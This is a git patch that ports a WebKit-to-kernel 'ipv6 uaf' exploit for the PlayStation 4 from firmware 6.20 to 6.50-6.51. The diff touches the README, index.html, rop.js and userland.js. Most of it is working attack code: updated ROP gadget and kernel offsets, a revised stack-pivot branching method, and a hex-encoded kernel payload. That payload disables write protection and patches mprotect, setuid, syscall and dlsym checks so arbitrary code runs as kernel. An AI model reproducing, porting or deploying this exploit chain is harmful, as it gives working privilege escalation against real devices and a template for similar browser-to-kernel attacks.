From 9c39a44309676a863dc0a397f524500cba35b188 Mon Sep 17 00:00:00 2001 From: Chendo <39858639+ChendoChap@users.noreply.github.com> Date: Sun, 2 Aug 2020 23:09:52 +0200 Subject: [PATCH] port to 6.50 - 6.51 - update gadgets - update branching method - update kpayload --- README.md | 7 +- expl.js | 3 +- index.html | 30 ++----- rop.js | 45 +++++++++-- userland.js | 221 ++++++++++++++++++++++++++-------------------------- 5 files changed, 163 insertions(+), 143 deletions(-) diff --git a/README.md b/README.md index c05357f..b45aa1b 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,7 @@ -# PS4 6.20 Kernel Exploit +# PS4 6.50 - 6.51 Kernel Exploit --- ## Summary -In this project you will find a full implementation of the "ipv6 uaf" kernel exploit for the PlayStation 4 on 6.20. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. will launch the usual payload launcher (on port 9020). +In this project you will find a full implementation of the "ipv6 uaf" kernel exploit for the PlayStation 4 on 6.50 - 6.51. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. will launch the usual payload launcher (on port 9020). This bug was originally discovered by [Fire30](https://twitter.com/fire30), and subsequently found by [Andy Nguyen](https://twitter.com/theflow0/) @@ -22,4 +22,5 @@ The following patches are applied to the kernel: - [Specter](https://twitter.com/SpecterDev) - advice + [5.05 webkit](https://github.com/Cryptogenic/PS4-5.05-Kernel-Exploit/blob/master/expl.js) and [(6.20) rop execution method](https://github.com/Cryptogenic/PS4-6.20-WebKit-Code-Execution-Exploit) - [kiwidog](https://twitter.com/kd_tech_) - advice - [Fire30](https://twitter.com/fire30) - [bad_hoist](https://github.com/Fire30/bad_hoist) -- [Andy Nguyen](https://twitter.com/theflow0/) - [disclosed exploit code](https://hackerone.com/reports/826026) \ No newline at end of file +- [Andy Nguyen](https://twitter.com/theflow0/) - [disclosed exploit code](https://hackerone.com/reports/826026) +- [SocraticBliss](https://twitter.com/SocraticBliss) - Shakespeare dev & crash test dummy \ No newline at end of file diff --git a/expl.js b/expl.js index 3c4f6ee..6bf9c3b 100644 --- a/expl.js +++ b/expl.js @@ -340,4 +340,5 @@ var prim = { }; window.primitives = prim; -if (window.postExpl) window.postExpl(); \ No newline at end of file + +postExploit(); \ No newline at end of file diff --git a/index.html b/index.html index 3a4f1f3..5bf312e 100644 --- a/index.html +++ b/index.html @@ -1,7 +1,7 @@ - PS4Brew 6.20 + PS4Brew 6.50 - 6.51 - - +
- +

 
 
diff --git a/rop.js b/rop.js
index 0e7617a..13fde76 100644
--- a/rop.js
+++ b/rop.js
@@ -157,7 +157,14 @@ window.rop = function () {
     this.push(branch_addr_spc);
     this.push(window.gadgets["add rax, rdx"]);
     this.push(window.gadgets["mov rax, [rax]"]);
-    this.push(window.gadgets["xchg rax, rsp"]);
+    this.push(window.gadgets["pop rdi"]);
+    var a  = this.pushSymbolic();
+    this.push(window.gadgets["mov [rdi], rax"]);
+    this.push(window.gadgets["pop rsp"]);
+    var b = this.get_rsp();
+    this.push(0x41414141);
+
+    this.finalizeSymbolic(a, b);
 
     return branch_addr_spc;
 
@@ -179,7 +186,14 @@ window.rop = function () {
     this.push(branch_addr_spc);
     this.push(window.gadgets["add rax, rdx"]);
     this.push(window.gadgets["mov rax, [rax]"]);
-    this.push(window.gadgets["xchg rax, rsp"]);
+    this.push(window.gadgets["pop rdi"]);
+    var a  = this.pushSymbolic();
+    this.push(window.gadgets["mov [rdi], rax"]);
+    this.push(window.gadgets["pop rsp"]);
+    var b = this.get_rsp();
+    this.push(0x41414141);
+
+    this.finalizeSymbolic(a, b);
 
     return branch_addr_spc;
   }
@@ -200,7 +214,14 @@ window.rop = function () {
     this.push(branch_addr_spc);
     this.push(window.gadgets["add rax, rdx"]);
     this.push(window.gadgets["mov rax, [rax]"]);
-    this.push(window.gadgets["xchg rax, rsp"]);
+    this.push(window.gadgets["pop rdi"]);
+    var a  = this.pushSymbolic();
+    this.push(window.gadgets["mov [rdi], rax"]);
+    this.push(window.gadgets["pop rsp"]);
+    var b = this.get_rsp();
+    this.push(0x41414141);
+
+    this.finalizeSymbolic(a, b);
 
     return branch_addr_spc;
   }
@@ -221,7 +242,14 @@ window.rop = function () {
     this.push(branch_addr_spc);
     this.push(window.gadgets["add rax, rdx"]);
     this.push(window.gadgets["mov rax, [rax]"]);
-    this.push(window.gadgets["xchg rax, rsp"]);
+    this.push(window.gadgets["pop rdi"]);
+    var a  = this.pushSymbolic();
+    this.push(window.gadgets["mov [rdi], rax"]);
+    this.push(window.gadgets["pop rsp"]);
+    var b = this.get_rsp();
+    this.push(0x41414141);
+
+    this.finalizeSymbolic(a, b);
 
     return branch_addr_spc;
   }
@@ -242,7 +270,14 @@ window.rop = function () {
     this.push(branch_addr_spc);
     this.push(window.gadgets["add rax, rdx"]);
     this.push(window.gadgets["mov rax, [rax]"]);
-    this.push(window.gadgets["xchg rax, rsp"]);
+    this.push(window.gadgets["pop rdi"]);
+    var a  = this.pushSymbolic();
+    this.push(window.gadgets["mov [rdi], rax"]);
+    this.push(window.gadgets["pop rsp"]);
+    var b = this.get_rsp();
+    this.push(0x41414141);
+
+    this.finalizeSymbolic(a, b);
 
     return branch_addr_spc;
   }
diff --git a/userland.js b/userland.js
index ef58ee3..5477877 100644
--- a/userland.js
+++ b/userland.js
@@ -10,63 +10,55 @@ var get_jmptgt = function (addr) {
 
 var gadgets;
 
-window.stage2 = function () {
-	try {
-		window.stage2_();
-	} catch (e) {
-		alert(e);
-	}
-}
-
 gadgetcache = {
 	"ret": 0x0000003C,
-	"pop rdi": 0x0009E67D,
-	"pop rsi": 0x000756CB,
-	"pop rdx": 0x002516B2,
-	"pop rcx": 0x000348D3,
-	"pop r8": 0x00079211,
-	"pop r9": 0x000CDB41,
-
-	"pop rax": 0x00075BDF,
-	"pop rsp": 0x00075D9A,
-	"mov [rdi], rax": 0x0001FB49,
-	"mov [rdi], rsi": 0x00034EF0,
-	"infloop": 0x00013AAE, //debug only
-
-	"mov [rdi], eax": 0x0001F878,
-	"mov rax, r8": 0x00288926,
+	"pop rdi": 0x00251552,
+	"pop rsi": 0x0003D0FE,
+	"pop rdx": 0x003A9092,
+	"pop rcx": 0x00026A5B,
+	"pop r8": 0x00033212,
+	"pop r9": 0x005C2701,
+	
+	"pop rax": 0x00033213,
+	"pop rsp": 0x00014FE7,
+	"mov [rdi], rax": 0x000206D9,
+	"mov [rdi], rsi": 0x00035A60,
+	"infloop": 0x0001DE41, //debug only
+
+	"mov [rdi], eax": 0x00020408,
+	"mov rax, r8": 0x0028D2C9,
 
 	//branching
-	"sete al": 0x0001DE74,
-	"setne al": 0x00008FB0,
-	"setg al": 0x000E3A47,
-	"setge al": 0x006158F2,
-	"setl al": 0x0058C85C,
-	"setle al": 0x000C94E6,
-	"cmp [rcx], edi": 0x0010CA51,
-	"shl rax, 3": 0x005DFD63,
-	"add rax, rdx": 0x00AFEEC6,
-	"mov rax, [rax]": 0x0002DC22,
+	"sete al": 0x0001E9F4,
+	"setne al": 0x00008E70,
+	"setg al": 0x000E5357,
+	"setge al": 0x00619AC2,
+	"setl al": 0x00591FFC,
+	"setle al": 0x000CA3A1,
+	"cmp [rcx], edi": 0x0010ED11,
+	"shl rax, 3": 0x005E4A13,
+	"add rax, rdx": 0x003D23AC,
+	"mov rax, [rax]": 0x0002E6F2,
 	"xchg rax, rsp": 0x020A1E68,
 };
 
-var setJmpOffset = 0xC179C; // libk = 0x2C343;
-var setJmpGadget_one = 0x006CDE3B;  //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
-var setJmpGadget_two = 0x01873923; // mov rdi, qword ptr [rax + 0x10] ; jmp qword ptr [rax + 8]
+var setJmpOffset = 0xC06CC; // libk = 0x2C343;
+var setJmpGadget_one = 0x006D0715;  //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
+var setJmpGadget_two = 0x0028EA63; // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
 
-var longJmpOffset = 0xC17F6; // libk = 0x2C39C;
-var longJmpGadget_one = 0x006CDE3B; //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
-var longJmpGadget_two = 0x01873923; // mov rdi, qword ptr [rax + 0x10] ; jmp qword ptr [rax + 8]
-var pthread_create_np_offset = 0x259B0;
-var pthread_exit_offset = 0x1A240;
-var libk__error_offset = 0x16490;
+var longJmpOffset = 0xC0726; // libk = 0x2C39C;
+var longJmpGadget_one = 0x006D0715; //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
+var longJmpGadget_two = 0x0028EA63; // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
+var pthread_create_np_offset = 0x25A40;
+var pthread_exit_offset = 0x1A1D0;
+var libk__error_offset = 0x163C0;
 
 var libcint_memset_page_offset = 0x54000;
 var libk_stack_chk_fail_page_offset = 0x10000;
-var libwk_first_vt_entry_offset = 0x996C50;
+var libwk_first_vt_entry_offset = 0x998E00;
 
 var nogc = [];
-window.stage2_ = function () {
+var stage2_ = function () {
 	p = window.prim;
 	var textArea = document.createElement("textarea");
 	var textAreaVtPtr = p.read8(p.leakval(textArea).add32(0x18));
@@ -86,8 +78,8 @@ window.stage2_ = function () {
 		return webKitBase.add32(o);
 	}
 	gadgets2 = {
-		"stack_chk_fail": o2wk(0x25B8),
-		"memset": o2wk(0x25D8)
+		"stack_chk_fail": o2wk(0x24C8),
+		"memset": o2wk(0x24E8)
 	};
 
 	p.malloc = function malloc(sz) {
@@ -121,7 +113,6 @@ window.stage2_ = function () {
 	libSceLibcInternalBase.low &= 0xFFFFC000;
 	libSceLibcInternalBase.sub32inplace(libcint_memset_page_offset);
 
-
 	var libKernelBase = p.read8(get_jmptgt(gadgets2.stack_chk_fail));
 	window.libKernelBase = libKernelBase;
 	libKernelBase.low &= 0xFFFFC000;
@@ -134,13 +125,13 @@ window.stage2_ = function () {
 	var modified_context = p.malloc32(0x40);
 
 	p.write8(setjmpFakeVtable.add32(0x0), setjmpFakeVtable);
-	p.write8(setjmpFakeVtable.add32(0xA8), webKitBase.add32(setJmpGadget_two)); // mov rdi, qword ptr [rax + 0x10]; jmp qword ptr [rax + 8];
+	p.write8(setjmpFakeVtable.add32(0xA8), webKitBase.add32(setJmpGadget_two)); // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
 	p.write8(setjmpFakeVtable.add32(0x10), original_context);
 	p.write8(setjmpFakeVtable.add32(0x8), libSceLibcInternalBase.add32(setJmpOffset));
 	p.write8(setjmpFakeVtable.add32(0x1D8), webKitBase.add32(setJmpGadget_one)); //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
 
 	p.write8(longjmpFakeVtable.add32(0x0), longjmpFakeVtable);
-	p.write8(longjmpFakeVtable.add32(0xA8), webKitBase.add32(longJmpGadget_two)); // mov rdi, qword ptr [rax + 0x10]; jmp qword ptr [rax + 8];
+	p.write8(longjmpFakeVtable.add32(0xA8), webKitBase.add32(longJmpGadget_two)); // mov rdi, [rdi + 0x10] ; jmp qword ptr [rax + 8]
 	p.write8(longjmpFakeVtable.add32(0x10), modified_context);
 	p.write8(longjmpFakeVtable.add32(0x8), libSceLibcInternalBase.add32(longJmpOffset));
 	p.write8(longjmpFakeVtable.add32(0x1D8), webKitBase.add32(longJmpGadget_one)); //mov rax, qword ptr [rcx] ; mov rdi, rcx ; jmp qword ptr [rax + 0xa8]
@@ -363,7 +354,7 @@ window.stage2_ = function () {
 	const PKTOPTS_TCLASS_OFFSET = 0xB0;
 
 	const KNOTE_KN_OFFSET = 0x60;
-	const KERNEL_SOCKETOPS_OFFSET = 0x1A8DC48; //kernel offset
+	const KERNEL_SOCKETOPS_OFFSET = 0x154BB38; //kernel offset
 
 	const NUM_SPRAY_SOCKS = 0xC8;
 	const NUM_LEAK_SOCKS = 0xC8;
@@ -657,7 +648,7 @@ window.stage2_ = function () {
 		if ((ltclass & 0xFFFF0000) == tclass) {
 			return ltclass & 0x0000FFFF;
 		}
-		alert("failed to find rthdr <-> master sock overlap");
+		alert("[Error] failed to find rthdr <-> master sock overlap");
 		while (1) {}
 	}
 
@@ -729,7 +720,7 @@ window.stage2_ = function () {
 				return;
 			}
 		}
-		alert("failed to find slave");
+		alert("[Error] failed to find slave");
 		while (1) {}
 	}
 
@@ -761,7 +752,7 @@ window.stage2_ = function () {
 		}
 	}
 	if (overlapped_socket == -1) {
-		alert("failed to find overlapped socket, how even?");
+		alert("[Error] failed to find overlapped socket, how even?");
 		while (true) {}
 	}
 
@@ -769,7 +760,7 @@ window.stage2_ = function () {
 	//alert("fake 1");
 	overlapped_socket_idx = fake_pktopts(0, TCLASS_MASTER);
 	if (overlapped_socket_idx == -1) {
-		alert("failed to fake pktopts 1");
+		alert("[Error] failed to fake pktopts 1");
 		while (true) {}
 	}
 	overlapped_socket = leak_socks[overlapped_socket_idx];
@@ -786,7 +777,7 @@ window.stage2_ = function () {
 	//alert("fake 2");
 	overlapped_socket_idx = fake_pktopts(pktopts_leak_addr.add32(PKTOPTS_PKTINFO_OFFSET), TCLASS_MASTER2);
 	if (overlapped_socket_idx == -1) {
-		alert("failed to fake pktopts 2");
+		alert("[Error] failed to fake pktopts 2");
 		while (true) {}
 	}
 	overlapped_socket = leak_socks[overlapped_socket_idx];
@@ -826,7 +817,7 @@ window.stage2_ = function () {
 	var exec_address = p.syscall(477, new int64(0x90000000, 0x9), 0x100000, 0x5, 1, exec_handle, 0)
 	p.syscall(324, 1);
 	if (exec_address.low != 0x90000000) {
-		alert("failed to allocate rwx memory");
+		alert("[Error] failed to allocate rwx memory");
 	}
 
 	var this_proc_ptr = kernel_read8(this_thread_ptr.add32(0x8));
@@ -864,10 +855,11 @@ window.stage2_ = function () {
 
 	    //rwx mprotect
 	    mov rsi, 0x8B49909090909090
-	    mov qword ptr [rdi + 0x352278], rsi
+	    mov qword ptr [rdi + 0x451A08], rsi
 
-	    //setuid
-	    mov dword ptr [rdi + 0x290E2], 0x000000B8
+		//setuid
+		mov rsi, 0x74C08500000000B8
+	    mov qword ptr [rdi + 0x10BB20], rsi
 
 	    //syscalls everywhere
 	    mov dword ptr [rdi + 0x490], 0x0
@@ -876,21 +868,21 @@ window.stage2_ = function () {
 	    mov word ptr [rdi + 0x4C6], 0xE990
 
 	    //rwx mmap
-	    mov byte ptr [rdi + 0x24026D], 0x37
-	    mov byte ptr [rdi + 0x240270], 0x37
+	    mov byte ptr [rdi + 0xAB57A], 0x37
+	    mov byte ptr [rdi + 0xAB57D], 0x37
 
 	    //dlsym
-	    mov word ptr [rdi + 0x27F67A], 0xE990
-	    mov dword ptr [rdi + 0x1A810], 0xC3C03148
+	    mov word ptr [rdi + 0x1D85AA], 0xE990
+	    mov dword ptr [rdi + 0x419F20], 0xC3C03148
 	    
 
 	    //syscall 11
-	    mov qword ptr [rdi + 0x111F750], 0x2
-	    mov rsi, 0x1827AC
+	    mov qword ptr [rdi + 0x111D210], 0x2
+	    mov rsi, 0x31BCAC
 	    add rsi, rdi
-	    mov qword ptr [rdi + 0x111F758], rsi
+	    mov qword ptr [rdi + 0x111D218], rsi
 	    mov rsi, 0x0000000100000000
-	    mov qword ptr [rdi + 0x111F778], rsi
+	    mov qword ptr [rdi + 0x111D238], rsi
 
 
 	    //enable wp
@@ -910,9 +902,10 @@ window.stage2_ = function () {
 
 	var jitt = p.fcall(exec_address);
 	if (jitt.low != 0x1337) {
-		alert("failed jit test = 0x" + jitt);
+		alert("[Error] failed jit test = 0x" + jitt);
 	}
-
+	
+	//main kpayload (with patches)
 	exec_writer[0] = 0xAAAABF48;
 	exec_writer[1] = 0xAAAAAAAA;
 	exec_writer[2] = 0xC748AAAA;
@@ -940,44 +933,46 @@ window.stage2_ = function () {
 	exec_writer[24] = 0x9090BE48;
 	exec_writer[25] = 0x90909090;
 	exec_writer[26] = 0x89488B49;
-	exec_writer[27] = 0x352278B7;
-	exec_writer[28] = 0xE287C700;
-	exec_writer[29] = 0xB8000290;
-	exec_writer[30] = 0xC7000000;
-	exec_writer[31] = 0x00049087;
-	exec_writer[32] = 0x00000000;
-	exec_writer[33] = 0x87C76600;
-	exec_writer[34] = 0x000004B9;
-	exec_writer[35] = 0xC7669090;
-	exec_writer[36] = 0x0004BD87;
-	exec_writer[37] = 0x66909000;
-	exec_writer[38] = 0x04C687C7;
-	exec_writer[39] = 0xE9900000;
-	exec_writer[40] = 0x026D87C6;
-	exec_writer[41] = 0xC6370024;
-	exec_writer[42] = 0x24027087;
-	exec_writer[43] = 0xC7663700;
-	exec_writer[44] = 0x27F67A87;
-	exec_writer[45] = 0xC7E99000;
-	exec_writer[46] = 0x01A81087;
-	exec_writer[47] = 0xC0314800;
-	exec_writer[48] = 0x87C748C3;
-	exec_writer[49] = 0x0111F750;
-	exec_writer[50] = 0x00000002;
-	exec_writer[51] = 0xACC6C748;
-	exec_writer[52] = 0x48001827;
-	exec_writer[53] = 0x8948FE01;
-	exec_writer[54] = 0x11F758B7;
-	exec_writer[55] = 0x00BE4801;
-	exec_writer[56] = 0x01000000;
-	exec_writer[57] = 0x48000000;
-	exec_writer[58] = 0xF778B789;
-	exec_writer[59] = 0x0D480111;
-	exec_writer[60] = 0x00010000;
-	exec_writer[61] = 0x48C0220F;
-	exec_writer[62] = 0x808080B8;
-	exec_writer[63] = 0x80808080;
-	exec_writer[64] = 0x9090C380;
+	exec_writer[27] = 0x451A08B7;
+	exec_writer[28] = 0xB8BE4800;
+	exec_writer[29] = 0x00000000;
+	exec_writer[30] = 0x4874C085;
+	exec_writer[31] = 0xBB20B789;
+	exec_writer[32] = 0x87C70010;
+	exec_writer[33] = 0x00000490;
+	exec_writer[34] = 0x00000000;
+	exec_writer[35] = 0xB987C766;
+	exec_writer[36] = 0x90000004;
+	exec_writer[37] = 0x87C76690;
+	exec_writer[38] = 0x000004BD;
+	exec_writer[39] = 0xC7669090;
+	exec_writer[40] = 0x0004C687;
+	exec_writer[41] = 0xC6E99000;
+	exec_writer[42] = 0x0AB57A87;
+	exec_writer[43] = 0x87C63700;
+	exec_writer[44] = 0x000AB57D;
+	exec_writer[45] = 0x87C76637;
+	exec_writer[46] = 0x001D85AA;
+	exec_writer[47] = 0x87C7E990;
+	exec_writer[48] = 0x00419F20;
+	exec_writer[49] = 0xC3C03148;
+	exec_writer[50] = 0x1087C748;
+	exec_writer[51] = 0x020111D2;
+	exec_writer[52] = 0x48000000;
+	exec_writer[53] = 0xBCACC6C7;
+	exec_writer[54] = 0x01480031;
+	exec_writer[55] = 0xB78948FE;
+	exec_writer[56] = 0x0111D218;
+	exec_writer[57] = 0x0000BE48;
+	exec_writer[58] = 0x00010000;
+	exec_writer[59] = 0x89480000;
+	exec_writer[60] = 0x11D238B7;
+	exec_writer[61] = 0x000D4801;
+	exec_writer[62] = 0x0F000100;
+	exec_writer[63] = 0xB848C022;
+	exec_writer[64] = 0x80808080;
+	exec_writer[65] = 0x80808080;
+	exec_writer[66] = 0x909090C3;
 
 
 	p.write8(write_address.add32(0x2), this_master_sock_pktopts_address.add32(PKTOPTS_PKTINFO_OFFSET));
@@ -992,7 +987,7 @@ window.stage2_ = function () {
 	p.syscall(54, kevent_sock, 0x20001111, 0);
 	//alert("survived kernel hell, all is ok? 0x" + p.read8(errno_location)); //0x80808080
 
-
+	
 	//kernel dumper payload | generic
 	/*
 	exec_writer[0] = 0xAAAABF48;
@@ -1197,7 +1192,7 @@ window.stage2_ = function () {
 	p.write8(write_address.add32(0x63), window.syscalls[98]);
 	p.write8(write_address.add32(0x87), window.syscalls[105]);
 
-	alert("calling the thing");
+	alert("open port 9011 for kernel dump...");
 	p.fcall(exec_address, userland_buffer, 0x4A00000);
 	alert("made it out alive");
 	alert("done");
@@ -1208,4 +1203,12 @@ window.stage2_ = function () {
 	*/
 	p.write8(0, 0); //kill browser
 	while (true) {}
+}
+
+function postExploit() {
+	try {
+	  stage2_();
+	} catch (e) {
+		alert(e);
+	}
 }
\ No newline at end of file